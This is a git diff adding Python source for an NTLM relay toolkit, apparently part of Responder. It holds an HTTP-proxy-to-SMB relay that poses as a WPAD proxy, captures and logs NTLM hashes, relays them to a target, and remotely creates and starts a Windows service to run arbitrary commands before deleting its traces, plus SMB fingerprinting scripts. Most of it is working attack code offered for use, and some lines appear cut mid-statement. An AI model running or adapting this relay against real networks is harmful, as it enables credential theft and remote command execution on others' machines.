diff --git a/tools/RelayHTTPSMB/Finger.py b/tools/RelayHTTPSMB/Finger.py new file mode 100755 index 0000000..39a8879 --- /dev/null +++ b/tools/RelayHTTPSMB/Finger.py @@ -0,0 +1,225 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import re,sys,socket,struct +from socket import * +from odict import OrderedDict + +__version__ = "0.3" +Timeout = 0.5 +class Packet(): + fields = OrderedDict([ + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) + +def longueur(payload): + length = struct.pack(">i", len(''.join(payload))) + return length + +class SMBHeader(Packet): + fields = OrderedDict([ + ("proto", "\xff\x53\x4d\x42"), + ("cmd", "\x72"), + ("error-code", "\x00\x00\x00\x00" ), + ("flag1", "\x00"), + ("flag2", "\x00\x00"), + ("pidhigh", "\x00\x00"), + ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), + ("reserved", "\x00\x00"), + ("tid", "\x00\x00"), + ("pid", "\x00\x00"), + ("uid", "\x00\x00"), + ("mid", "\x00\x00"), + ]) + +class SMBNego(Packet): + fields = OrderedDict([ + ("Wordcount", "\x00"), + ("Bcc", "\x62\x00"), + ("Data", "") + ]) + + def calculate(self): + self.fields["Bcc"] = struct.pack(". +import struct +import sys +import random +import time +from odict import OrderedDict +import datetime +from base64 import b64decode, b64encode + +def longueur(payload): + length = struct.pack(">i", len(''.join(payload))) + return length + +class Packet(): + fields = OrderedDict([ + ("data", ""), + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) + +##################HTTP Proxy Relay########################## +def HTTPCurrentDate(): + Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT') + return Date + +class WPAD_Auth_407_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 407 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"), + ("Connection", "Proxy-Connection: close\r\n"), + ("Cache-Control", "Cache-Control: no-cache\r\n"), + ("Pragma", "Pragma: no-cache\r\n"), + ("Proxy-Support", "Proxy-Support: Session-Based-Authentication\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + + +class WPAD_NTLM_Challenge_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 407 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWWAuth", "Proxy-Authenticate: NTLM "), + ("Payload", ""), + ("Payload-CRLF", "\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + + def calculate(self,payload): + self.fields["Payload"] = b64encode(payload) + +##################SMB Relay Packet########################## +class SMBHeader(Packet): + fields = OrderedDict([ + ("proto", "\xff\x53\x4d\x42"), + ("cmd", "\x72"), + ("error-code", "\x00\x00\x00\x00" ), + ("flag1", "\x08"), + ("flag2", "\x01\xc8"), + ("pidhigh", "\x00\x00"), + ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), + ("Reserved", "\x00\x00"), + ("tid", "\x00\x00"), + ("pid", "\x3c\x1b"), + ("uid", "\x00\x00"), + ("mid", "\x00\x00"), + ]) + +class SMBNegoCairo(Packet): + fields = OrderedDict([ + ("Wordcount", "\x00"), + ("Bcc", "\x62\x00"), + ("Data", "") + ]) + + def calculate(self): + self.fields["Bcc"] = struct.pack(" 255: + self.fields["ApplicationHeaderTagLenOfLen"] = "\x82" + self.fields["ApplicationHeaderLen"] = struct.pack(">H", len(SecurityBlobLen)-0) + else: + self.fields["ApplicationHeaderTagLenOfLen"] = "\x81" + self.fields["ApplicationHeaderLen"] = struct.pack(">B", len(SecurityBlobLen)-3) + + if len(NTLMData)-8 > 255: + self.fields["AsnSecMechLenOfLen"] = "\x82" + self.fields["AsnSecMechLen"] = struct.pack(">H", len(SecurityBlobLen)-4) + else: + self.fields["AsnSecMechLenOfLen"] = "\x81" + self.fields["AsnSecMechLen"] = struct.pack(">B", len(SecurityBlobLen)-6) + + if len(NTLMData)-12 > 255: + self.fields["ChoosedTagLenOfLen"] = "\x82" + self.fields["ChoosedTagLen"] = struct.pack(">H", len(SecurityBlobLen)-8) + else: + self.fields["ChoosedTagLenOfLen"] = "\x81" + self.fields["ChoosedTagLen"] = struct.pack(">B", len(SecurityBlobLen)-9) + + if len(NTLMData)-16 > 255: + self.fields["ChoosedTag1StrLenOfLen"] = "\x82" + self.fields["ChoosedTag1StrLen"] = struct.pack(">H", len(SecurityBlobLen)-12) + else: + self.fields["ChoosedTag1StrLenOfLen"] = "\x81" + self.fields["ChoosedTag1StrLen"] = struct.pack(">B", len(SecurityBlobLen)-12) + + CompletePacketLen = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])+str(self.fields["NLMPAuthMsgNull"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["ExtraNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"]) + + SecurityBlobLenUpdated = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"]) + + ## Packet len + self.fields["andxoffset"] = struct.pack("", "^>")#Filtering + self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering + self.fields["BinCMD"] = self.fields["BinCMD"].replace("|", "^|")#Filtering + self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering + self.fields["BinCMD"] = self.fields["BinCMD"].replace("$", "^$")#Filtering + self.fields["BinCMD"] = self.fields["BinCMD"].replace("!", "^!")#Filtering + self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering + self.fields["BinCMD"] = self.fields["BinCMD"].replace("'", "^'")#Filtering + self.fields["BinCMD"] = self.fields["BinCMD"].replace("\"", "^\"")#Filtering + + File = "%WINDIR%\\Temp\\"+self.fields["FileName"] + WinTmpPath = "%WINDIR%\\Temp\\Results.txt" + CleanService = "sc delete "+self.fields["ServiceName"]+"^&"#Start by deleting the service..then run the cmd. + FinalCMD = CleanService+"del /F /Q "+File+"^&"+self.fields["BinCMD"]+" ^>"+WinTmpPath+" >"+File + #That is: delete service we just ran, delete the bat file (it's loaded in memory, no pb), echo original cmd into random .bat file, run .bat file. + self.fields["FileName"] = ""#Reset it. + self.fields["BinPathName"] = "%COMSPEC% /C echo "#make sure to escape "&" when using echo. + self.fields["BinCMD"] = FinalCMD + self.fields["BintoEnd"] = "& %COMSPEC% /C "+File + BinDataLen = str(self.fields["BinPathName"])+str(self.fields["BinCMD"])+str(self.fields["BintoEnd"]) + + ## Calculate first + self.fields["BinPathMaxCount"] = struct.pack(" 0.5:#Timeout + break + try: + data = s.recv(1024) + if data: + Completedata.append(data) + Start=time.time() + else: + break + except: + pass + + s.setblocking(1) + return s, ''.join(Completedata) + + +def RunCmd(data, s, clientIP, Username, Domain, Command, Logs, Host): + if data == None: + return False + head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBNTCreateData() + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + + ## Fail Handling. + if data[8:10] == "\xa2\x22": + print "[+] NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation.\n" + return False + + ## DCE/RPC Write. + if data[8:10] == "\xa2\x00": + head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + x = SMBDCEData() + x.calculate() + f = data[42:44] + t = SMBWriteData(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## DCE/RPC Read. + if data[8:10] == "\x2f\x00": + head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBReadData(FID=f) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## DCE/RPC SVCCTLOpenManagerW. + if data[8:10] == "\x2e\x00": + head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x03\x00")#, MachineName="\\\\"+Host[0]) + w.calculate() + x = SMBDCEPacketData(Data=w) + x.calculate() + t = SMBWriteData(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## DCE/RPC Read Answer. + if data[8:10] == "\x2f\x00": + head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBReadData(FID=f) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## DCE/RPC SVCCTLCreateService. + if data[8:10] == "\x2e\xb0": + print "[+] Server returned NT_STATUS_PIPE_DISCONNECTED, no admin rights on that pipe.\n" + return False + ## DCE/RPC SVCCTLCreateService. + if data[8:10] == "\x2e\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n" + return False + #print "[+] Creating service" + head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + ContextHandler = data[88:108] + ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)]) + ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)]) + FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat' + FilePath = FileChars + w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars, FileName=FilePath, ReferentID="\x21\x03\x03\x00",BinCMD=Command) + w.calculate() + x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w) + x.calculate() + t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## DCE/RPC Read Answer. + if data[8:10] == "\x2f\x00": + head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00") + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## DCE/RPC SVCCTLOpenService. + if data[8:10] == "\x2e\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to create the service\n" + return False + #print "[+] Service name: %s with display name: %s successfully created"%(ServiceNameChars, ServiceIDChars) + head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0c\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars) + w.calculate() + x = SMBDCEPacketData(Opnum="\x10\x00",Data=w) + x.calculate() + t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## DCE/RPC Read Answer. + if data[8:10] == "\x2f\x00": + head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0d\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00") + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## DCE/RPC SVCCTLStartService. + if data[8:10] == "\x2e\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to open the service.\n" + return False + ContextHandler = data[88:108] + head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0e\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler) + x = SMBDCEPacketData(Opnum="\x13\x00",Data=w) + x.calculate() + t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## DCE/RPC Read Answer. + if data[8:10] == "\x2f\x00": + head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0f\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00") + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + + + ##Tree connect c$ + if data[8:10] == "\x2e\x00": + #print "[+] Command executed, grabbing output now." + Logs.info('Command executed:') + Logs.info(clientIP+","+Username+','+Command) + #time.sleep(1)#Maybe the command executed took some time.. + #print "[+] Removing service.\n[+] Cleaning up files.\n" + head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\C$") + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + ##OpenAndX. + if data[8:10] == "\x75\x00": + head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") + t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00") + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + ##OpenAndX. + if data[8:10] == "\x2d\x34": + time.sleep(1)#not found, maybe still processing the cmd. Wait a bit. + head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") + t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00") + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + ##OpenAndX. + if data[8:10] == "\x2d\x34": + time.sleep(1)#not found, command failed. + print "[+] The command failed." + return data + ##ReadRequest. + ## Need grab the size from Open And X and do it properly later. For now, only 65535 bytes printed. + if data[8:10] == "\x2d\x00": + ReturnedFID = data[41:43] + head = SMBHeader(cmd="\x2e",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x12\x00") + t = ReadRequestAndX(FID=ReturnedFID) + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + s, data = SMBReadRecv(s) + #print "[+] Output:\n" + print ExtractCommandOutput(data) + + ##Close Request + if data[8:10] == "\x2e\x00": + head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") + t = CloseRequest(FID = ReturnedFID) + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + + ##DeleteFileRequest. + if data[8:10] == "\x04\x00": + head = SMBHeader(cmd="\x06",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x13\x00") + t = DeleteFileRequest(File="\\Windows\\Temp\\Results.txt") + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + #print "[+] Deleting file now." + s.send(buffer1) + data = s.recv(2048) + + if data[8:10] == "\x06\x00": + #print "[+] File deleted, making sure it's not there anymore.." + head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") + t = OpenAndX(File="\\Windows\\Temp\\Results.txt", OpenFunc="\x01\x00") + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + return data + diff --git a/tools/RelayHTTPSMB/HTTPToSMBRelay.py b/tools/RelayHTTPSMB/HTTPToSMBRelay.py new file mode 100755 index 0000000..692de65 --- /dev/null +++ b/tools/RelayHTTPSMB/HTTPToSMBRelay.py @@ -0,0 +1,361 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import sys, re, os, logging, warnings, thread, optparse, time +from HTTPRelayPacket import * +from Finger import RunFinger +sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../../'))) +from socket import * + +__version__ = "0.2" + +def UserCallBack(op, value, dmy, parser): + args=[] + for arg in parser.rargs: + if arg[0] != "-": + args.append(arg) + if getattr(parser.values, op.dest): + args.extend(getattr(parser.values, op.dest)) + setattr(parser.values, op.dest, args) + +parser = optparse.OptionParser(usage="python %prog -t10.20.30.40 -u Administrator lgandx admin", version=__version__, prog=sys.argv[0]) +parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET") + +parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay") + +options, args = parser.parse_args() + +if options.TARGET is None: + print "\n-t Mandatory option is missing, please provide a target.\n" + parser.print_help() + exit(-1) +if options.UserToRelay is None: + print "\n-u Mandatory option is missing, please provide a username to relay.\n" + parser.print_help() + exit(-1) + +UserToRelay = options.UserToRelay +Host = options.TARGET, 445 +Cmd = "" + +def ShowWelcome(): + print '\n\033[1;34mResponder Proxy Auth to SMB NTLMv1/2 Relay 0.2\nSupporting NTLMv1 and NTLMv2.' + print 'Send bugs/hugs/comments to: laurent.gaffie@gmail.com' + print 'Usernames to relay (-u) are case sensitive.' + print 'To kill this script hit CRTL-C or .\033[1;31m\n' + print 'Use this script in combination with Responder.py for best results.' + print 'Do not to use Responder.py with -P set. This tool does the same' + print 'than -P but with cross-protocol NTLM relay. Always target a box ' + print 'joined to the target domain,not the PDC as SMB signing is enabled ' + print 'by default. For optimal pwnage and stealthiness, launch Responder ' + print 'with these 2 options only: -rv \033[0m' + print '\n\033[1;34mRelaying credentials only for these users:\033[32m' + print UserToRelay + print '\033[0m\n' + +ShowWelcome() +Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../../" + +Logs = logging +Logs.basicConfig(filemode="a",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') + +try: + RunFinger(Host[0]) +except: + print "The host %s seems to be down or port 445 down."%(Host[0]) + sys.exit(1) + + +# Function used to write captured hashs to a file. +def WriteData(outfile, data, user): + if not os.path.isfile(outfile): + with open(outfile,"w") as outf: + outf.write(data + '\n') + return + with open(outfile,"r") as filestr: + if re.search(user.encode('hex'), filestr.read().encode('hex')): + return False + elif re.search(re.escape("$"), user): + return False + with open(outfile,"a") as outf2: + outf2.write(data + '\n') + +#Function used to verify if a previous auth attempt was made. +def ReadData(Outfile, Client, User, Domain, Target, cmd): + try: + with open(Logs_Path+"logs/"+Outfile,"r") as filestr: + Login = Client+":"+User+":"+Domain+":"+Target+":Logon Failure" + if re.search(Login.encode('hex'), filestr.read().encode('hex')): + print "[+] User %s\\%s previous login attempt returned logon_failure. Not forwarding anymore to prevent account lockout\n"%(Domain,User) + return True + + else: + return False + except: + raise + +def ParseHTTPHash(data, key, client): + LMhashLen = struct.unpack(' 24: + NthashLen = 64 + DomainLen = struct.unpack('i", len(''.join(payload))) + +def ExtractChallenge(data): + SecBlobLen = struct.unpack(" 255: + Challenge = data[106:114] + print "[+] Setting up HTTP Proxy with SMB challenge:", Challenge.encode("hex") + return Challenge + +def ExtractRawNTLMPacket(data): + SecBlobLen = struct.unpack(" 0: + RunPsExec(Host) + time.sleep(1) + except KeyboardInterrupt: + exit() + +if __name__ == '__main__': + try: + main() + except: + raise diff --git a/tools/RelayHTTPSMB/odict.py b/tools/RelayHTTPSMB/odict.py new file mode 100644 index 0000000..4e7b93b --- /dev/null +++ b/tools/RelayHTTPSMB/odict.py @@ -0,0 +1,117 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +from UserDict import DictMixin + +class OrderedDict(dict, DictMixin): + + def __init__(self, *args, **kwds): + if len(args) > 1: + raise TypeError('expected at most 1 arguments, got %d' % len(args)) + try: + self.__end + except AttributeError: + self.clear() + self.update(*args, **kwds) + + def clear(self): + self.__end = end = [] + end += [None, end, end] + self.__map = {} + dict.clear(self) + + def __setitem__(self, key, value): + if key not in self: + end = self.__end + curr = end[1] + curr[2] = end[1] = self.__map[key] = [key, curr, end] + dict.__setitem__(self, key, value) + + def __delitem__(self, key): + dict.__delitem__(self, key) + key, prev, next = self.__map.pop(key) + prev[2] = next + next[1] = prev + + def __iter__(self): + end = self.__end + curr = end[2] + while curr is not end: + yield curr[0] + curr = curr[2] + + def __reversed__(self): + end = self.__end + curr = end[1] + while curr is not end: + yield curr[0] + curr = curr[1] + + def popitem(self, last=True): + if not self: + raise KeyError('dictionary is empty') + if last: + key = reversed(self).next() + else: + key = iter(self).next() + value = self.pop(key) + return key, value + + def __reduce__(self): + items = [[k, self[k]] for k in self] + tmp = self.__map, self.__end + del self.__map, self.__end + inst_dict = vars(self).copy() + self.__map, self.__end = tmp + if inst_dict: + return self.__class__, (items,), inst_dict + return self.__class__, (items,) + + def keys(self): + return list(self) + + setdefault = DictMixin.setdefault + update = DictMixin.update + pop = DictMixin.pop + values = DictMixin.values + items = DictMixin.items + iterkeys = DictMixin.iterkeys + itervalues = DictMixin.itervalues + iteritems = DictMixin.iteritems + + def __repr__(self): + if not self: + return '%s()' % (self.__class__.__name__,) + return '%s(%r)' % (self.__class__.__name__, self.items()) + + def copy(self): + return self.__class__(self) + + @classmethod + def fromkeys(cls, iterable, value=None): + d = cls() + for key in iterable: + d[key] = value + return d + + def __eq__(self, other): + if isinstance(other, OrderedDict): + return len(self)==len(other) and \ + min(p==q for p, q in zip(self.items(), other.items())) + return dict.__eq__(self, other) + + def __ne__(self, other): + return not self == other diff --git a/tools/SMBFinger/Finger.py b/tools/SMBFinger/Finger.py new file mode 100755 index 0000000..c4dabb7 --- /dev/null +++ b/tools/SMBFinger/Finger.py @@ -0,0 +1,234 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import re,sys,socket,struct +from socket import * +from odict import OrderedDict +import optparse + +__version__ = "0.3" + +parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0]) + +parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None) +options, args = parser.parse_args() + +Timeout = 0.3 +Host = options.TARGET + +class Packet(): + fields = OrderedDict([ + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) + +def longueur(payload): + length = struct.pack(">i", len(''.join(payload))) + return length + +class SMBHeader(Packet): + fields = OrderedDict([ + ("proto", "\xff\x53\x4d\x42"), + ("cmd", "\x72"), + ("error-code", "\x00\x00\x00\x00" ), + ("flag1", "\x00"), + ("flag2", "\x00\x00"), + ("pidhigh", "\x00\x00"), + ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), + ("reserved", "\x00\x00"), + ("tid", "\x00\x00"), + ("pid", "\x00\x00"), + ("uid", "\x00\x00"), + ("mid", "\x00\x00"), + ]) + +class SMBNego(Packet): + fields = OrderedDict([ + ("Wordcount", "\x00"), + ("Bcc", "\x62\x00"), + ("Data", "") + ]) + + def calculate(self): + self.fields["Bcc"] = struct.pack(" 1: + raise TypeError('expected at most 1 arguments, got %d' % len(args)) + try: + self.__end + except AttributeError: + self.clear() + self.update(*args, **kwds) + + def clear(self): + self.__end = end = [] + end += [None, end, end] + self.__map = {} + dict.clear(self) + + def __setitem__(self, key, value): + if key not in self: + end = self.__end + curr = end[1] + curr[2] = end[1] = self.__map[key] = [key, curr, end] + dict.__setitem__(self, key, value) + + def __delitem__(self, key): + dict.__delitem__(self, key) + key, prev, next = self.__map.pop(key) + prev[2] = next + next[1] = prev + + def __iter__(self): + end = self.__end + curr = end[2] + while curr is not end: + yield curr[0] + curr = curr[2] + + def __reversed__(self): + end = self.__end + curr = end[1] + while curr is not end: + yield curr[0] + curr = curr[1] + + def popitem(self, last=True): + if not self: + raise KeyError('dictionary is empty') + if last: + key = reversed(self).next() + else: + key = iter(self).next() + value = self.pop(key) + return key, value + + def __reduce__(self): + items = [[k, self[k]] for k in self] + tmp = self.__map, self.__end + del self.__map, self.__end + inst_dict = vars(self).copy() + self.__map, self.__end = tmp + if inst_dict: + return (self.__class__, (items,), inst_dict) + return self.__class__, (items,) + + def keys(self): + return list(self) + + setdefault = DictMixin.setdefault + update = DictMixin.update + pop = DictMixin.pop + values = DictMixin.values + items = DictMixin.items + iterkeys = DictMixin.iterkeys + itervalues = DictMixin.itervalues + iteritems = DictMixin.iteritems + + def __repr__(self): + if not self: + return '%s()' % (self.__class__.__name__,) + return '%s(%r)' % (self.__class__.__name__, self.items()) + + def copy(self): + return 